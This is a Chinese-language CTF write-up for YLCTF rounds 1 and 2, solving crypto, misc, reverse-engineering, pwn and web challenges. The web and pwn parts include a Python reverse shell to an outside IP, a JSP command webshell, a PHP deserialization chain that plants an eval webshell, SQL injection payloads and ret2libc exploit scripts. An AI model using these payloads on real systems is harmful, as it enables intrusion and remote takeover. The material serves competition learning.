前言:总排23,新生赛道11
Round 1
crypto
[round1]BREAK
e有范围,由于e的范围不算大,可以进行爆破得到e,求出d,解出flag
from Crypto.Util.number import *
from gmpy2 import invert, gcd
p = 112201812592436732390795120344111949417282805598314874949132199714697698933980025001138515893011073823715376332558632580563147885418631793000008453933543935617128269371275964779672888059389120797503550397834151733721290859419396400302434404551112484195071653351729447294368676427327217463094723449293599543541
q = 177020901129489152716203177604566447047904210970788458377477238771801463954823395388149502481778049515384638107090852884561335334330598757905074879935774091890632735202395688784335456371467073899458492800214225585277983419966028073512968573622161412555169766112847647015717557828009246475428909355149575012613
c = 2924474039245207571198784141495689937992753969132480503242933533024162740004938423057237165017818906240932582715571015311615140080805023083962661783117059081563515779040295926885648843373271315827557447038547354198633841318619550200065416569879422309228789074212184023902170629973366868476512892731022218074481334467704848598178703915477912059538625730030159772883926139645914921352787315268142917830673283253131667111029720811149494108036204927030497411599878456477044315081343437693246136153310194047948564341148092314660072088671342677689405603317615027453036593857501070187347664725660962477605859064071664385456
n = p * q
phi = (p - 1) * (q - 1)
def generate_primes(start, end):
primes = []
for num in range(start, end + 1):
if isPrime(num):
primes.append(num)
return primes
for e in generate_primes(55555, 66666):
if gcd(e, phi) == 1:
try:
d = invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('utf-8')
print(f"找到 e = {e}, 解密后的 flag: {flag}")
break
except ZeroDivisionError:
continue # 如果 invert 失败,则继续尝试下一个 e
except UnicodeDecodeError:
continue # 如果解码失败,则继续尝试下一个 e
# YLCTF{fbb6186c-6603-11ef-ba80-deb857dc15be}
[round1]signrsa
RSA 模数 n1 和 n2 之间有公因子 q,从而使得可以分别对这两个模数进行分解,然后使用对应的私钥对密文进行解密,通过共模攻击解密
import gmpy2
from Crypto.Util.number import *
n1 = 18674375108313094928585156581138941368570022222190945461284402673204018075354069827186085851309806592398721628845336840532779579197302984987661547245423180760958022898546496524249201679543421158842103496452861932183144343315925106154322066796612415616342291023962127055311307613898583850177922930685155351380500587263611591893137588708003711296496548004793832636078992866149115453883484010146248683416979269684197112659302912316105354447631916609587360103908746719586185593386794532066034112164661723748874045470225129298518385683561122623859924435600673501186244422907402943929464694448652074412105888867178867357727
n2 = 20071978783607427283823783012022286910630968751671103864055982304683197064862908267206049336732205051588820325894943126769930029619538705149178241710069113634567118672515743206769333625177879492557703359178528342489585156713623530654319500738508146831223487732824835005697932704427046675392714922683584376449203594641540794557871881581407228096642417744611261557101573050163285919971711214856243031354845945564837109657494523902296444463748723639109612438012590084771865377795409000586992732971594598355272609789079147061852664472115395344504822644651957496307894998467309347038349470471900776050769578152203349128951
e = 65537
q = gmpy2.gcd(n1,n2)
print(q)
# 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441
p1 = n1 // q
p2 = n2 // q
d1 = gmpy2.invert(e,(q-1)*(p1-1))
d2 = gmpy2.invert(e,(q-1)*(p2-1))
c = 17087345023822081623891751423634072935359933429883025338799316908134539732911987403379813791051721409025872046014445468757120127961953783792146805906255385927316168869306218712056692227481252348951991457948040258007096536015704568840248330993815252823424627958278346871867901249369170134106070695916355118499922945313335801615652226556995849239616859826762866841805915253356402366997693599487016453619500217382302173033771577307792501865322742699412806457301297719922487797626724702793650939979227432331932830374740050145956182452965260035182810782721888226896944881610943610565496963461471122317296063535420461202109
m = pow(c,d2,n2)
m = pow(m,d1,n1)
print(long_to_bytes(m))
# b'YLCTF{6567543c-e55b-4563-96ea-e7412e6834c2}\n'
[round1]ezrsa
也是类共模攻击
from Crypto.Util.number import long_to_bytes, inverse
from math import gcd
hint = 74749248594786596691182255254760227675255640419811402596325257219264047909491854266322448991637721043565574231631858096560042784343181104155107927958136483921037567399591407065870395299938514992590953052021824859260647798407649617552126176876304021384535351268838294566489926141346712140945311688664783400430
n = 146150746308368977558105420785404636106107297097656606561134260305844960246816673265377081884447744494438593580830134146856713782255534506122943914554490808124199966427121519694676728571857729213721192818898378912680306144869946238782714021401494162427357692727211780506245166118326256365562777182481342235649
c = 12817272835509631426126672293486991243028800172545793296231214648592002361121076145968763436527652893903622692932403498323802323146995559960945697843044017192966527560462131618029760025950956635249851792561073659666145624864040328809279977987225518572316396679320621448299428750551755789817002220213790188515
e = 65537
p = gcd(pow(20240918, e, n) - hint, n)
q = n // p
d = inverse(e, (p - 1) * (q - 1))
flag = long_to_bytes(pow(c, d, n))
print(flag)
# b'YLCTF{12f142fc-351d-486f-aaa6-b64ebf3e7bdf}\n'
[round1]r(A)=3
典型的矩阵问题,进行交互循环300次得到flag
from pwn import *
import numpy as np
p = remote('challenge.yuanloo.com', 23115)
for attempt in range(300):
try:
print(f"Attempt {attempt + 1}...")
line = p.recvuntil(":".encode())
print(f"Received: {line.decode().strip()}")
line = p.recvuntil("x=".encode())
equation_str = line.decode().strip()
print(f"Received: {equation_str}")
equations = equation_str.split("\n")
A = []
B = []
for i, eq in enumerate(equations):
if i == len(equations) - 1: # 忽略最后一行
continue
left, right = eq.split("=")
B.append(float(right.strip()))
# 提取系数
coefficients = [0, 0, 0] # 对应 x, y, z 的系数
for term in left.split("+"):
term = term.strip()
if "x" in term:
coefficients[0] = float(term.split("*")[0]) if "*" in term else 1.0
elif "y" in term:
coefficients[1] = float(term.split("*")[0]) if "*" in term else 1.0
elif "z" in term:
coefficients[2] = float(term.split("*")[0]) if "*" in term else 1.0
A.append(coefficients)
A = np.array(A)
B = np.array(B)
solution = np.linalg.solve(A, B)
p.sendline(str(int(solution[0])))
print(f"{solution[0]}")
line = p.recvuntil("y=".encode())
print(f"Received: {line.decode().strip()}")
p.sendline(str(int(solution[1])))
print(f"{solution[1]}")
line = p.recvuntil("z=".encode())
print(f"Received: {line.decode().strip()}")
p.sendline(str(int(solution[2])))
print(f"{solution[2]}")
except Exception as e:
print(f"Attempt {attempt + 1} failed: {e}")
p.interactive()
[round1]threecry
参考文章https://blog.csdn.net/luochen2436/article/details/131948093
import gmpy2
from Crypto.Util.number import long_to_bytes
e = 0xe18e
crypto05= 16623038441079077059861502314553840945014390827451667324209537222817794990697456726185616589892380248771957751215156366431853682717356212256182541599038824352426429058283605462766315213017886613935143369630579915129950428539117781616821575904280675596170305716041161748779293269633614559889401304768245038227061
crypto03= 7370478569029817135349016311298954172270465460003018672225010525611372855698643108316167758095660953716705265165460646442696451806405620591202977137450538604803993325516057226246866037605963589652887018894515430484657967483718879717967258257252134148706147029651520914313120373591263784166639605955378617102045
number1 = 6035830951309638186877554194461701691293718312181839424149825035972373443231514869488117139554688905904333169357086297500189578624512573983935412622898726797379658795547168254487169419193859102095920229216279737921183786260128443133977458414094572688077140538467216150378641116223616640713960883880973572260683
number2 = 20163906788220322201451577848491140709934459544530540491496316478863216041602438391240885798072944983762763612154204258364582429930908603435291338810293235475910630277814171079127000082991765275778402968190793371421104016122994314171387648385459262396767639666659583363742368765758097301899441819527512879933947
a_near = gmpy2.iroot(number2//325,2)[0]
while number2 % gmpy2.next_prime(13*a_near)!=0:
a_near = gmpy2.next_prime(a_near)
p = gmpy2.next_prime(13*a_near)
q = number2//p
phi = (p-1)*(q-1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m2 = gmpy2.iroot(pow(crypto05, d, number2), t)[0]
flag2 = long_to_bytes(m2)
d1 = gmpy2.invert(number1, phi)
m1 = pow(crypto03, d1, number2)
flag1 = long_to_bytes(m1)
print(flag1 + flag2)
# b'YLCTF{8d547f68-f394-4254-9ada-2dc306862b66}\n'
Misc
[签到] 打卡小能手

[Round 1] hide_png
给的图片用stegsolve来看,有点模糊但是可以看看

flag没存忘了
[Round 1] pngorzip

save bin形式得到zip,010去掉114514????后面的冗杂内容进行掩码攻击得到giao,解压得到flag
YLCTF{d359d6e4-740a-49cf-83eb-5b0308f09c8c}
[Round 1] plain_crack
尝试再写个压缩包进行明文攻击
import zipfile
import os
def create(files, zfile):
# 创建一个新的 ZIP 文件
with zipfile.ZipFile(zfile, 'w') as zipf:
for file in files:
zipf.write(file, os.path.basename(file), compress_type=zipfile.ZIP_DEFLATED)
if __name__ == '__main__':
files = ['build.py']
zfile = 'crack2.zip'
create(files, zfile)
pyadminzip我本地的轮子有问题就用了zipfile需要测试几次才可以进行明文攻击,等待几分钟直接解压里面有flag.docx,docx也是一种zip文件形式,改成zip里面有个图片得到flag

[Round 1] trafficdet
是个ai模型分析,把要求告诉chatgpt上传对应的文件然后叫他按形式写出解密脚本就可以了
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score
def load_and_preprocess_data(train_file, test_file):
# Load training data
train_data = pd.read_csv(train_file)
train_data = train_data.dropna()
# Separate features and labels
X = train_data.drop(columns=['Label'])
y = train_data['Label']
# Load test data
test_data = pd.read_csv(test_file)
return X, y, test_data
def train_model(X_train, y_train, n_estimators=100, random_state=42):
model = RandomForestClassifier(n_estimators=n_estimators, random_state=random_state)
model.fit(X_train, y_train)
return model
def evaluate_model(model, X_val, y_val):
y_pred = model.predict(X_val)
accuracy = accuracy_score(y_val, y_pred)
print(f'Model Accuracy: {accuracy:.2f}')
return y_pred
def make_predictions(model, X_test):
return model.predict(X_test)
def save_results(predictions, output_file):
result = pd.DataFrame({'Label': predictions})
result.index += 1 # Start index at 1
result.index.name = 'id' # Rename index to 'id'
result.to_csv(output_file, index=True) # Ensure the index is saved
if __name__ == "__main__":
# Load and preprocess data
X, y, test_data = load_and_preprocess_data('train.csv', 'test.csv')
# Split the training data into training and validation sets
X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=0.1, random_state=42)
# Train the model
model = train_model(X_train, y_train)
# Evaluate the model
evaluate_model(model, X_val, y_val)
# Make predictions on the test data
test_preds = make_predictions(model, test_data)
# Save the results
save_results(test_preds, 'result.csv')
[Round 1] whatmusic
可以发现password单独解压,010研究是图片逆转写个脚本
with open('password','rb') as f:
with open('flag','wb') as g:
g.write(f.read()[::-1])
然后导入010改文件尾,得到图片,然后还需要镜像一下,再进行在线网站的镜像处理得到password,然后进行解压

然后就没有思路了,给了hint也看不懂,信息收集后发现

死去的记忆痛击我,在今年的iscc里面就有一题是github上面的lyra项目转音频得到wav的题目,主要是要搭建环境,我这里用了香港的vps搭建版本ubuntu20,参考文章Lyra编码器基础环境搭建_lyra dajian-CSDN博客

环境构造搭好之后用xftp传入文件然后得到wav,多听几遍得到了flag

Pwn
[Round 1] giaopwn

有nx保护
vuln有溢出点,查一下是有system和cat flag的


利用寄存器rbi放入地址
from pwn import *
p = remote("challenge.yuanloo.com",44805)
payload= b'a'*(0x28)+p64(0x400743)+p64(0x601048)+p64(0x4006D2)
p.sendline(payload)
p.interactive()

Re
[round1]xor
简单测试一下发现有upx,脱壳一下

分析一下简单的异或直接gpt梭个脚本
encrypted_bytes = [
0x45, 0x50, 0x5f, 0x48, 0x5A, 0x67, 0x25, 0x2F,
0x7E, 0x7D, 0x79, 0x29, 0x7A, 0x7D, 0x31, 0x7D,
0x29, 0x7D, 0x2E, 0x31, 0x28, 0x7D, 0x28, 0x2B,
0x31, 0x25, 0x2A, 0x25, 0x2D, 0x31, 0x2B, 0x79,
0x2A, 0x2B, 0x29, 0x2B, 0x29, 0x79, 0x28, 0x2A,
0x2F, 0x29, 0x61, 0x1C
]
# 解密函数
def decrypt(encrypted_bytes):
decrypted_bytes = []
for byte in encrypted_bytes:
decrypted_byte = byte ^ 0x1C
decrypted_bytes.append(decrypted_byte)
return decrypted_bytes
decrypted_values = decrypt(encrypted_bytes)
decrypted_string = ''.join(chr(b) for b in decrypted_values)
print(decrypted_string)
[round1]ezgo
ida看一下加密逻辑

encrypted_bytes = [
108, 122, 116, 108, 127, 65, 94, 90, 12, 15,
15, 120, 113, 118, 110, 34, 115, 112, 36, 101,
125, 46, 121, 47, 96, 119, 119, 53, 101, 127,
50, 101, 96, 100, 110, 59, 109, 57, 98, 56,
57, 56, 34
]
def decrypt(encrypted):
decrypted = []
for i, byte in enumerate(encrypted):
decrypted_byte = byte ^ (i + 53)
decrypted.append(decrypted_byte)
return bytes(decrypted)
decrypted_bytes = decrypt(encrypted_bytes)
print(decrypted_bytes.decode('utf-8', errors='ignore'))
[round1]xorplus
ida打开分析一下是rc4的加密逻辑,没学会,一股脑把加密逻辑扔给claude帮我解密,出脚本
def rc4_init(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)]) + 1300) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_crypt(S, data):
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
result.append(((byte - 20) & 0xFF) ^ k)
return bytes(result)
def main():
key = "welcometoylctf"
encrypted_data = [0x91, 0x86, 0x1b, 0x2d, 0x9e, 0x6f, 0x57, 0x5d, 0x44, 0xec, 0xa3, 0x9f, 0xcd, 0x89, 0x22, 0x65,
0x3b, 0xa3, 0x60, 0x2d, 0x80, 0x54, 0x78, 0x67, 0x6c, 0x4e, 0x81, 0x53, 0x4d, 0x26, 0x8, 0x96,
0x84, 0x46, 0x29, 0xc5, 0xb4, 0x7e, 0x29, 0xc5, 0xb9, 0x87, 0xa6]
S = rc4_init(key)
decrypted = rc4_crypt(S, encrypted_data)
print("Decrypted message:", decrypted.decode('ascii'))
if __name__ == "__main__":
main()
[round 1]calc
分析解密的源码
#include<stdio.h>
#include<math.h>
#include<string.h>
#include<stdlib.h>
typedef struct Stack {
double* low;
int size;
double* top;
} stack;
void init(stack* s) {
s->size = 100;
s->low = (double*)malloc((sizeof(double)) * 100);
s->top = s->low;
}
void push(stack* s, double e) {
*(s->top) = e;
s->top++;
}
void pop(stack* s, double* e) {
s->top--;
*e = *(s->top);
}
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
stack s;
double e, d;
char ch;
double d, e;
init(&s);
char num[100];
int i = 0;
puts("input data, end of '#'");
scanf("%c", &ch);
while (ch != '#') {
while (ch >= '0' && ch <= '9') {
num[i] = ch;
i++;
scanf("%c", &ch);
}
if (ch == ' ') {
num[i] = '\0';
d = atof(num);
push(&s, d);
i = 0;
} else {
switch (ch) {
case '+':
pop(&s, &d);
pop(&s, &e);
push(&s, e + d);
break;
case '-':
pop(&s, &d);
pop(&s, &e);
push(&s, e - d);
break;
case '*':
pop(&s, &d);
pop(&s, &e);
push(&s, e * d);
break;
case '/':
pop(&s, &d);
pop(&s, &e);
push(&s, e / d);
break;
}
}
scanf("%c", &ch);
if (d == 125) {
printf("%s", getenv("GZCTF_FLAG"));
}
}
return 0;
}
程序使用逆波兰表示法(Reverse Polish Notation,RPN)进行计算。当栈顶的值达到 125 时,程序会输出 GZCTF_FLAG。
在栈顶产生值 125。所以能在栈顶产生 125 的 RPN 表达应该是有效的输入
5 5 * 5 * #
尝试了一些其他的没有成功这个是成功的
Web
[Round 1] Disal
看不出东西,看看robots.txt,有提示去f1ag.php
<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];
if($a>999999 and $key){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
a是匹配是否有六个字母,b是大于这个数就行函数构造绕过就行
import requests
url = 'http://challenge.yuanloo.com:21836/f1ag.php'
payload = {
'a': '1000000eeeeee',
'b': '1235abc'
}
response = requests.post(url, data=payload)
print(response.text)
[Round 1] shxpl
测试一下常见的ls和cat都被禁用了,这里空格用%09进行绕过,联合查询一下

然后执行cat /flag 参照上面的内容

[Round 1] Injct
简单测了一下是xss还是ssti,发现是flask的模板注入,测试一下常见的花括号被禁了,用fenjing看看内容
python -m fenjing crack --url http://challenge.yuanloo.com:25882/greet --inputs name --method POST

可以shell到但是试了常见的命令不能成功

考虑到这是python写的网站,用弹个shell给我的vps,成功拿到shell得到flag
python3 -c 'import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("8.130.42.113", 5566)); [os.dup2(s.fileno(), i) for i in (0, 1, 2)]; subprocess.call(["/bin/sh", "-i"])'

[Round 1] TOXEC(复现)
测试了一下发现上传jsp文件会直接杀掉,又dirsearch扫了一下发现在WEB-INF有大量的404回显,猜测可能和羊城杯的题目相似(虽然我没写bushi),先上传一个shell.xml,是jsp的回显马
先上传这个,bp抓包改一下文件名
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>

然后再上传下面这个也需要改成对应的文件格式将上面的xml解析成jsp,传入马
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/shell.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/orange</url-pattern>
</servlet-mapping>
</web-app>
最后的结果如下

[Round 1] pExpl(复现)
先上源码
<?php
error_reporting(0);
class FileHandler {
private $fileHandle;
private $fileName;
public function __construct($fileName, $mode = 'r') {
$this->fileName = $fileName;
$this->fileHandle = fopen($fileName, $mode);
if (!$this->fileHandle) {
throw new Exception("Unable to open file: $fileName");
}
echo "File opened: $fileName\n";
}
public function readLine() {
return fgets($this->fileHandle);
}
public function writeLine($data) {
fwrite($this->fileHandle, $data . PHP_EOL);
}
public function __destruct() {
if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
fclose($this->fileHandle);
echo "File closed: {$this->fileName}\n";
}
}
}
class User {
private $userData = [];
public function __set($name, $value) {
if ($name == 'password') {
$value = password_hash($value, PASSWORD_DEFAULT);
}
$this->userData[$name] = $value;
}
public function __get($name) {
return $this->userData[$name] ?? null;
}
public function __toString() {
if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
call_user_func($this->data,$this->params);
}
return "Hello";
}
public function __isset($name) {
return isset($this->userData[$name]);
}
}
class Logger {
private $logFile;
private $lastEntry;
public function __construct($logFile = 'application.log') {
$this->logFile = $logFile;
}
private function log($level, $message) {
$this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;
file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
}
public function setLogFile($logFile) {
$this->logFile = $logFile;
}
public function clearOldLogs($daysToKeep = 30) {
$files = glob("*.log");
$now = time();
foreach ($files as $file) {
if (is_file($file)) {
if ($now - filemtime($file) >= 60 * 60 * 24 * $daysToKeep) {
unlink($file);
}
}
}
}
public function __call($name, $arguments) {
$validLevels = ['info', 'warning', 'error', 'debug'];
if (in_array($name, $validLevels)) {
$this->log(strtoupper($name), $arguments[0]);
} else {
throw new Exception("Invalid log level: $name");
}
}
public function __invoke($message, $level = 'INFO') {
$this->log($level, $message);
}
}
if(isset($_GET['exp'])) {
if(preg_match('/<\?php/i',$_GET['exp'])){
exit;
}
$exp = unserialize($_GET['exp']);
throw new Exception("Test!");
} else {
highlight_file(__FILE__);
}
if(preg_match('/<\?php/i',$_GET['exp'])){
exit;
}
$exp = unserialize($_GET['exp']);
throw new Exception("Test!");
根据这里可以使用php的短标签,throw new Exception("Test!");可以利用GC机制进行绕过,简单的来说就用构造数组进行绕过
再分析一下上面的pop链
public function __destruct() {
if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
fclose($this->fileHandle);
echo "File closed: {$this->fileName}\n";
}
}
echo可以触发__toString魔术
public function __toString() {
if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
call_user_func($this->data,$this->params);
}
return "Hello";
}
call_user_func 函数用于回调构造,不能直接触发命令执行,由于有参数限制,也不能直接调用,可以尝试构造不存在的函数以此来触发__call魔术
public function __call($name, $arguments) {
$validLevels = ['info', 'warning', 'error', 'debug'];
if (in_array($name, $validLevels)) {
$this->log(strtoupper($name), $arguments[0]);//调用 log 方法,传递日志级别(转换为大写)和第一个参数 $arguments[0],这通常是要记录的消息。
} else {
throw new Exception("Invalid log level: $name");
}
}
需要调用到 array 中的一个,然后在触发文件写入,构造exp
<?php
class FileHandler {
private $fileHandle;
private $fileName;
public function __construct($fileName) {
$this->fileName = $fileName;
}
}
class User {
private $userData = [];
}
class Logger {
private $logFile;
private $lastEntry;
public function __construct($logFile) {
$this->logFile = $logFile;
}
}
// 创建 Logger 对象
$c = new Logger("/var/www/html/1.php");
// 创建 User 对象
$b = new User();
// 为 User 对象的属性赋值
$b->data = [$c, "info"];
$b->params = '<?=@eval($_POST[1]);?>';
// 创建 FileHandler 对象,传入 User 对象
$a = new FileHandler($b);
// 序列化并替换特定字符串
$a1 = array($a, null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
// 输出 URL 编码后的字符串
echo urlencode($s);
?>

[Round 1] sInXx(复现)
这题在写的时候一直没找到注入点,跟着复现一下
search=juan79%27%09and%09(1=1)%23
这个是有回显的,看下面的
search=juan79%27%09and%09(1=2)%23
这个就是无回显的
然后接着继续测试一下
search=juan79%27%09union%09select%091,2,3,4%23
测试发现,应该被过滤了,可以用别名进行查询
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
继续测(不是MySQL的数据库,而是sql sever的数据库)
sys.schema_table_statistics_with_buffer 是一个系统表,通常在 SQL Server 中存在,包含关于表的统计信息。
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)FROM%09sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

继续往下测
search=1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09`2`%09FROM%09(SELECT%09*%09FROM%09((SELECT%091)a%09JOIN%09(SELECT%092)b)%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG)p%09limit%092%09offset%091)A%09join%09(SELECT%091)B%09join(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
最后得到了flag这个数据库没怎么遇见过涨知识了,
还有一道java我最近刚开始学,先不复现了。
Round 2
crypto
[Round 2] ezAES
key和iv需要进行填充,得到字符串只会输入靶场得到flag
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def adjust_bytes(data, size):
return data[:size].ljust(size, b'\0')
# Adjust key and IV to be exactly 16 bytes
key = adjust_bytes(b'YLCTF-CRYPTO', 16)
iv = adjust_bytes(b'YLCTF-IV', 16)
print("Key:", key)
print("IV:", iv)
# The encrypted data
encrypted_data = b'\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19'
# Create the AES cipher object
cipher = AES.new(key, AES.MODE_CBC, iv)
# Decrypt the data
decrypted_data = cipher.decrypt(encrypted_data)
# Remove padding
try:
unpadded_data = unpad(decrypted_data, AES.block_size)
# Convert to string
flag = unpadded_data.decode('utf-8')
print("Decrypted flag:", flag)
except ValueError as e:
print("Decryption failed. Error:", str(e))
print("Raw decrypted data:", decrypted_data)
[Round 2] ancat(三血)
通过反 Arnold 变换对图像进行解码
import cv2
import numpy as np
def arnold_decode(image, shuffle_times, a, b):
decode_image = np.zeros(shape=image.shape, dtype=np.uint8)
h, w = image.shape[0], image.shape[1]
N = h # Assuming square image, otherwise use min(h, w)
for _ in range(shuffle_times):
for x in range(h):
for y in range(w):
new_x = ((a*b+1)*x + (-b)*y) % N
new_y = (-a*x + y) % N
decode_image[new_x, new_y, :] = image[x, y, :]
image = np.copy(decode_image)
cv2.imwrite('de_flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return decode_image
# Usage
img = cv2.imread('en_flag.png')
decoded_img = arnold_decode(img, 3, 6, 9)
[Round 2] hhhhhash(二血)
通过 RSA 加密和解密的操作,生成一个由 2 和 3 相关的预映像。该预映像是由两个固定值 2 和 3,以及它们加密后异或的解密结果组成的字符串。
from Crypto.Util.number import inverse
# 给定的 RSA 参数
N = 24187393262220937846390501443742832858626434119009614437585110078354058452015513549456536194956883531427150348615517313864237793745207153851247294085645697596388459039963846522372296585446089302800483043022329465803710493794211051569707438274254451965191340677881575500674368344178840546343108889174677894222885416258598492663798090390503785098514218961277236306118846673370386248291600553097856252637702622367340613301550171775336709322733018489345819827313673171715980174821509418454309036717777663660169340209676530313209371349708592854940984111594670893579387030559835418881208057159859916049414143236495356055079
e = 65537
# 计算 c = pow(2, e, N) ^ pow(3, e, N)
c = pow(2, e, N) ^ pow(3, e, N)
# 计算 phi 和 d
phi = N - 1 # 注意:这个假设只在 N 是梅森素数时成立
d = inverse(e, phi)
# 计算 x
x = pow(c, d, N)
# 将结果转换为字节并编码为十六进制
b0 = (2).to_bytes(256, 'big').hex()
b1 = (3).to_bytes(256, 'big').hex()
b2 = x.to_bytes(256, 'big').hex()
# 组合最终的 preimage
preimage = b0 + b1 + b2
print("Calculated preimage:")
print(preimage)
[Round 2] rand(一血)
参考ASIS2023 Crypto - 知乎 (zhihu.com)
from pwn import *
import re
p = remote('challenge.yuanloo.com', 46464)
for _ in range(400): # 本地测试不知道要多少轮,直接拉到400得到flag会自己断的
line = p.recvuntil("\n".encode())
line_decoded = line.decode()
print(line_decoded) # 打印解码后的内容
numbers = re.findall(r'\d+', line_decoded)
if numbers:
p_value = int(numbers[0])
g = p_value - 4
print("p =", p_value)
line = p.recvuntil("g:".encode())
print(line.decode())
p.sendline(str(g).encode())
print("g =", g)
line = p.recvuntil(":".encode())
print(line.decode())
x = 2
y = p_value - 2
p.sendline(f"{x},{y}".encode())
print(f"Sending: {x},{y}")
p.interactive()
Misc
[Round 2] IMGAI(三血)
和iscc 2024的re题有点相似,也是需要识别图片转得知文字,利用模型得到答案
from pwn import *
import torch
import torch.nn as nn
from torchvision import transforms
from PIL import Image
import numpy as np
import re
class MNISTCNN(nn.Module):
def __init__(self):
super(MNISTCNN, self).__init__()
self.conv1 = nn.Conv2d(1, 32, kernel_size=5, padding=2)
self.conv2 = nn.Conv2d(32, 64, kernel_size=5)
self.fc1 = nn.Linear(64 * 5 * 5, 1024)
self.fc2 = nn.Linear(1024, 10)
self.pool = nn.MaxPool2d(2, 2)
self.relu = nn.ReLU()
def forward(self, x):
x = self.pool(self.relu(self.conv1(x)))
x = self.pool(self.relu(self.conv2(x)))
x = x.view(-1, 64 * 5 * 5)
x = self.relu(self.fc1(x))
return self.fc2(x)
def load_model(model_path):
model = MNISTCNN()
model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu')))
model.eval()
return model
def preprocess_image(binary_data):
image_array = np.array([int(pixel) for pixel in binary_data]).reshape(480, 640)
image = Image.fromarray(np.uint8(image_array * 255), mode='L')
transform = transforms.Compose([
transforms.Resize((28, 28)),
transforms.ToTensor(),
transforms.Normalize((0.1307,), (0.3081,))
])
return transform(image).unsqueeze(0)
def predict_digit(model, image):
with torch.no_grad():
output = model(image)
return torch.max(output, 1)[1].item()
def main():
try:
p = remote("challenge.yuanloo.com", 30991)
model = load_model('model.pth')
predictions = []
for i in range(36):
try:
data = p.recvuntil(f"input num {i + 1} \n".encode(), timeout=3)
binary_data = re.findall(r"[01]+", data.decode())
if not binary_data:
print(f"No binary data found in round {i + 1}. Exiting...")
break
image = preprocess_image(binary_data[0].strip())
predicted = predict_digit(model, image)
predictions.append(predicted)
p.sendline(str(predicted).encode())
print(f"Round {i + 1}: Predicted digit: {predicted}")
except EOFError:
print(f"Connection closed unexpectedly in round {i + 1}")
break
except Exception as e:
print(f"Error in round {i + 1}: {str(e)}")
break
final_data = p.recvall(timeout=5)
print("Final server response:", final_data.decode())
predicted_string = ''.join(map(str, predictions))
print("All predicted digits as a string:", predicted_string)
except Exception as e:
print(f"An error occurred: {str(e)}")
finally:
if 'p' in locals():
p.close()
if __name__ == "__main__":
main()
[Round 2] Trace
图片用010打开发现后面一大段有base64编码,去赛博转换一下得到一个rar文件,PassFabforRAR解密一下,得到密码370950解密得到里面的图片

仔细在记事本上研究了一会拼出了flag
YLCTF{ccfe9e2c-391f-4055-a128-c06b65426c83}
Pwn
[Round 2] ezstack2
有nx保护
ida看,stack里有栈溢出,vuln里有判断执行system(“sh”)。

通过read栈溢出触发puts函数的调用,并通过GOT地址泄露libc的地址.
使用ROPgadget获取pop_rdi和ret地址,通过read栈溢出触发puts函数的调用,并通过GOT地址泄露libc地址,最后泄露libc地址和执行system
from pwn import *
from LibcSearcher import *
p = remote('challenge.yuanloo.com', 25160)
elf = ELF('./pwn')
rdi = 0x400823
main = 0x40070A
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 = b'a' * (0x30 + 8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
sys = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
payload2 = b'a' * (0x30 + 8) + p64(0x40056e) + p64(rdi) + p64(binsh) + p64(sys)
p.sendline(payload2)
p.interactive()

Re
[Round 2] 三点几啦饮茶先
